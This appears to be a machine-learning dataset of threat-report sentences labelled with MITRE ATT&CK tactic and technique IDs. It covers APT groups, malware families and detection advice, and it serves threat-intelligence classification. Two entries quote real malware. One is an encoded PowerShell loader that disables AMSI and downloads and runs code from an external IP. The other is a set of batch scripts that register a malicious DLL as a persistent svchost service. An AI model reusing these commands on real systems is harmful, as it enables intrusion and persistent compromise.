madox81/Adema_ATTACK_DS huggingface dataset:
Input: The datasets included:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Script to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  We analyzed each type of dataset other than the documents containing detailed information on alleged OilRig operators and they remain consistent with previously observed OilRig tactics, techniques, and procedures (TTPs)

Tactics: TA0006
Techniques: T1003
Input: The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts

Tactics: TA0011
Techniques: T1071
Input: Monitor logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.

Tactics: TA0007
Techniques: T1087, T1087.004
Input: APT28 has used CVE-2015-4902 to bypass security features.

Tactics: TA0005
Techniques: T1211
Input: Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.

Tactics: TA0003, TA0004
Techniques: T1546.006, T1546
Input: Kimsuky has been observed turning off Windows Security Center and can hide the AV software window from the view of the infected user.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Sibot executes commands using VBScript.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: There is usually a delay between when a vulnerability is discovered and when it is made public.

Tactics: TA0042
Techniques: T1588.006, T1588
Input: This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: [2] Threat groups use strategic web compromises (SWCs), also known as watering hole attacks, to target a wide array of potential victims

Tactics: TA0001
Techniques: T1189
Input: Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls.

Tactics: TA0005
Techniques: T1218, T1218.002
Input: In Mac and Linux, this is accomplished with the ps command.

Tactics: TA0007
Techniques: T1057
Input: REvil can check the system language using GetUserDefaultUILanguage and GetSystemDefaultUILanguage.

Tactics: TA0007
Techniques: T1614, T1614.001
Input: It then creates the following registry key to automatically run the Trojan each time the system starts: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\@RANDOM@ The main behavior carried out by this Trojan involves obtaining an embedded executable, hollowing the current Trojan, writing the new embedded executable to the process memory and calling a specific function in the newly written payload

Tactics: TA0003, TA0004, TA0005
Techniques: T1547.001, T1547, T1055.012, T1055
Input: Backdoor analysis The main loop of the backdoor has two main functions, infoClient and runHandle

Tactics: TA0005
Techniques: T1140
Input: Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.003
Input: CHM files are commonly distributed as part of the Microsoft HTML Help system.

Tactics: TA0005
Techniques: T1218, T1218.001
Input: APT29 has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: SNMP (161/UDP and 162/TCP/UDP)

Tactics: TA0006
Techniques: T1110, T1110.001
Input: SLOTHFULMEDIA has a keylogging capability.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Windshift has used e-mail attachments to lure victims into executing malicious code.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: KONNI is heavily obfuscated and includes encrypted configuration files.

Tactics: TA0005
Techniques: T1027
Input: File sharing over a Windows network occurs over the SMB protocol.

Tactics: TA0007
Techniques: T1135
Input: These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities.  hUpdateCheckers.ps1 (POWRUNER) The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Micropsia has keylogging capabilities.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started.

Tactics: TA0003
Techniques: T1137.002, T1137
Input: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials.

Tactics: TA0006
Techniques: T1539
Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.

Tactics: TA0042
Techniques: T1587
Input: StoneDrill can wipe the accessible physical or logical drives of the infected machine.

Tactics: TA0040
Techniques: T1561.001, T1561
Input: Network Downloader The Network Downloader functionality allows the actor to quickly upload user files from remote victim systems

Tactics: TA0011
Techniques: T1105
Input: OSX_OCEANLOTUS.D can use HTTP POST and GET requests to send and receive C2 information.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: This may enable malicious activity such as modifying, replacing, or deleting specific files or directories.

Tactics: TA0005
Techniques: T1222
Input: Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 ), especially those associated with unknown/abnormal drivers.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: SLOTHFULMEDIA has collected the username from a victim machine.

Tactics: TA0007
Techniques: T1033
Input: Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: Remote access tools with built-in features may interact directly with the Windows API, such as calling  GetLocaleInfoW to gather information.

Tactics: TA0007
Techniques: T1614
Input: Pandora can use CVE-2017-15303 to bypass Windows Driver Signature Enforcement (DSE) protection and load its driver.

Tactics: TA0004
Techniques: T1068
Input: Cardinal RAT contains watchdog functionality that ensures its process is always running, else spawns a new instance.

Tactics: TA0007
Techniques: T1057
Input: Kimsuky has used QuickZip to archive stolen files before exfiltration.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: Newer versions create the "MaintenaceSrv" service, which misspells the word "maintenance."

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Shamoon creates a new service named "ntssrv" to execute the payload.

Tactics: TA0002, TA0003, TA0004
Techniques: T1569.002, T1543.003, T1543, T1569
Input: Donut includes subprojects that enumerate and identify information about Process Injection candidates.

Tactics: TA0007
Techniques: T1057
Input: By default, the service automatically starts when a system powers on.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: TrickBot uses brute-force attack against RDP with rdpscanDll module.

Tactics: TA0006
Techniques: T1110.004, T1110
Input: Organizations may consider weighing the risk of storing credentials in web browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: BRONZE BUTLER has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.

Tactics: TA0002
Techniques: T1203
Input: The WastedLocker payload includes encrypted strings stored within the .bss section of the binary file.

Tactics: TA0005
Techniques: T1027
Input: In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.

Tactics: TA0006
Techniques: T1555.002, T1555
Input: Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: AADInternals can steal users’ access tokens via phishing emails containing malicious links.

Tactics: TA0006
Techniques: T1528
Input: Properties within parts may reference shared public resources accessed via online URLs.

Tactics: TA0005
Techniques: T1221
Input: Monitor for newly constructed services may create or modify Launch Daemons to execute malicious payloads as part of persistence.

Tactics: TA0003, TA0004
Techniques: T1543.004, T1543
Input: As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space.

Tactics: TA0007
Techniques: T1082
Input: The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server

Tactics: TA0002
Techniques: T1059.001, T1059
Input: These token can then be applied to an existing process ( Token Impersonation/Theft) or used to spawn a new process ( Create Process with Token).

Tactics: TA0004, TA0005
Techniques: T1134
Input: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.

Tactics: TA0005
Techniques: T1218.005, T1218
Input: H1N1 obfuscates C2 traffic with an altered version of base64.

Tactics: TA0011
Techniques: T1132
Input: BADNEWS is capable of executing commands via cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: In an Exchange environment, Administrators can use Get-InboxRule to discover and remove potentially malicious auto-forwarding rules.

Tactics: TA0009
Techniques: T1114
Input: Caterpillar WebShell has a module to collect information from the local database.

Tactics: TA0009
Techniques: T1005
Input: OLDBAIT obfuscates internal strings and unpacks them at startup.

Tactics: TA0005
Techniques: T1027
Input: LazyScripter has used mshta.exe to execute Koadic stagers.

Tactics: TA0005
Techniques: T1218.005, T1218
Input: Configuration repositories may also facilitate remote access and administration of devices.

Tactics: TA0009
Techniques: T1602
Input: NotPetya can use PsExec, which interacts with the ADMIN$ network share to execute commands on remote systems.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Monitor for newly constructed processes and/or command-lines of "wmic"

Tactics: TA0002
Techniques: T1047
Input: Limit the use of USB devices and removable media within a network.

Tactics: TA0001, TA0008, TA0010
Techniques: T1052, T1091, T1052.001
Input: Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.

Tactics: TA0011
Techniques: T1105
Input: DRATzarus can obtain a list of users from an infected machine.

Tactics: TA0007
Techniques: T1033
Input: For example, on Windows 10, Attack Surface Reduction (ASR) rules may prevent Office applications from code injection.

Tactics: TA0004, TA0005
Techniques: T1055
Input: If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be domain fronting.

Tactics: TA0011
Techniques: T1090.004, T1090
Input: If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

Tactics: TA0005
Techniques: T1612
Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.

Tactics: TA0040
Techniques: T1499
Input: code(2343)", MsgBoxStyle.Critical, null);     The dropper then writes the content of the payload which resides as plaintext in a resource within the .NET assembly to C:\Users\<username>\AppData\Local\Temp\SystemDiskClean.ps1

Tactics: TA0007
Techniques: T1033
Input: Internal Reconnaissance APT40 uses compromised credentials to log on to other connected systems and conduct reconnaissance

Tactics: TA0008
Techniques: T1021
Input: The PowerShell command decodes to the following:$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA'         if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')          {                          $exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command             IEX $exec         }         else         {             $exec = [System.Convert]::FromBase64String($command)             $exec = [Text.Encoding]::Unicode.GetString($exec)             IEX $exec         }The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};     try{      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)     }catch{}     IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai');This decoded PowerShell script attempts to download and execute a file using HTTP from the URL “hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai”

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Mosquito deletes files using DeleteFileW API call.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Kimsuky has also modified the first byte of DLL implants targeting victims to prevent recognition of the executable file format.

Tactics: TA0005
Techniques: T1027
Input: This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205, T1205.001
Input: Adversaries may attempt to get a listing of accounts on a system or within an environment.

Tactics: TA0007
Techniques: T1087
Input: Blue Mockingbird has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: The APT1 group is known to have used pass the hash.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.

Tactics: TA0042
Techniques: T1584, T1584.006
Input: The screenshot also shows the Glimpse server receiving the results of the whoami command executed by the agent

Tactics: TA0007
Techniques: T1033
Input: AppleSeed can identify the IP of a targeted system.

Tactics: TA0007
Techniques: T1016
Input: Gamaredon Group has created scheduled tasks to launch executables after a designated number of minutes have passed.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Consider monitoring processes for tscon.exe usage

Tactics: TA0008
Techniques: T1563.002, T1563
Input: Monitor for newly constructed files and/or all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory.

Tactics: TA0003
Techniques: T1176
Input: However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.008, T1574
Input: KOCTOPUS can set the AutoRun Registry key with a PowerShell command.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Some Reaver variants use HTTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: WhisperGate can use cmd.exe to execute commands.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: The contents of the batch files vary depending on the OS (x64 vs x86): install1.bat (x64) @echo off sc stop COMSysApp sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\SysWOW64\svchost.exe -k COMSysApp" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\SysWOW64\ipnet.dll" /f sc start COMSysApp del /f /q %windir%\SysWOW64\install2.bat del /f /q %windir%\SysWOW64\install1.bat install2.bat (x86) @echo off sc stop COMSysApp sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\system32\ipnet.dll" /f sc start COMSysApp del /f /q %windir%\System32\install1.bat del /f /q %windir%\System32\install2.bat The batch files perform these tasks:  Stop the service COMSysApp Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the svchost process

Tactics: TA0002, TA0004, TA0005
Techniques: T1569.002, T1112, T1055, T1569, T1059
Input: Consider blocking container file types at web and/or email gateways.

Tactics: TA0005
Techniques: T1553, T1553.005
Input: Imminent Monitor has a module for performing remote desktop access.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: Persona development consists of the development of public information, presence, history and appropriate affiliations.

Tactics: TA0042
Techniques: T1585, T1585.001
Input: GravityRAT creates a scheduled task to ensure it is re-executed everyday.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Threat actor using appcmd to delete logs and disable logging

Tactics: TA0005
Techniques: T1070, T1562.001, T1070.004, T1562
Input: BlackEnergy has enabled the TESTSIGNING boot configuration option to facilitate loading of a driver component.

Tactics: TA0005
Techniques: T1553, T1553.006
Input: After compromising a victim, Poseidon Group lists all running processes.

Tactics: TA0007
Techniques: T1057
Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).

Tactics: TA0042
Techniques: T1588
Input: Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: Pony has used scripts to delete itself after execution.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Axiom has targeted victims with remote administration tools including RDP.

Tactics: TA0008
Techniques: T1563.002, T1563
Input: Chaes has a module to perform any API hooking it desires.

Tactics: TA0006, TA0009
Techniques: T1056
Input: WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.

Tactics: TA0003, TA0004
Techniques: T1546.003, T1546
Input: Monitor for newly executed processes that may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.

Tactics: TA0007
Techniques: T1482
Input: AuditCred can inject code from files to other running processes.

Tactics: TA0004, TA0005
Techniques: T1055
Input: APT3 has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776.

Tactics: TA0002
Techniques: T1203
Input: An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Tactics: TA0042, TA0011
Techniques: T1102.001, T1102.002, T1584, T1102.003, T1583.006, T1584.006, T1583, T1102
Input: APT3 has been known to pack their tools.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

Tactics: TA0006
Techniques: T1552, T1552.006
Input: menuPass has used legitimate access granted to Managed Service Providers in order to access victims of interest.

Tactics: TA0001
Techniques: T1199
Input: Monitor for the creation of the Office Test Registry key.

Tactics: TA0003
Techniques: T1137.002, T1137
Input: Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary).

Tactics: TA0043
Techniques: T1594
Input: Turla surveys a system upon check-in to discover information in the Windows Registry with the reg query command.

Tactics: TA0007
Techniques: T1012
Input: To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.

Tactics: TA0042
Techniques: T1585, T1585.002
Input: Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network.

Tactics: TA0006, TA0007
Techniques: T1040
Input: Rocke has modified UPX headers after packing files to break unpackers.

Tactics: TA0005
Techniques: T1027
Input: Operation Wocao has used SMB to copy files to and from target systems.

Tactics: TA0008
Techniques: T1570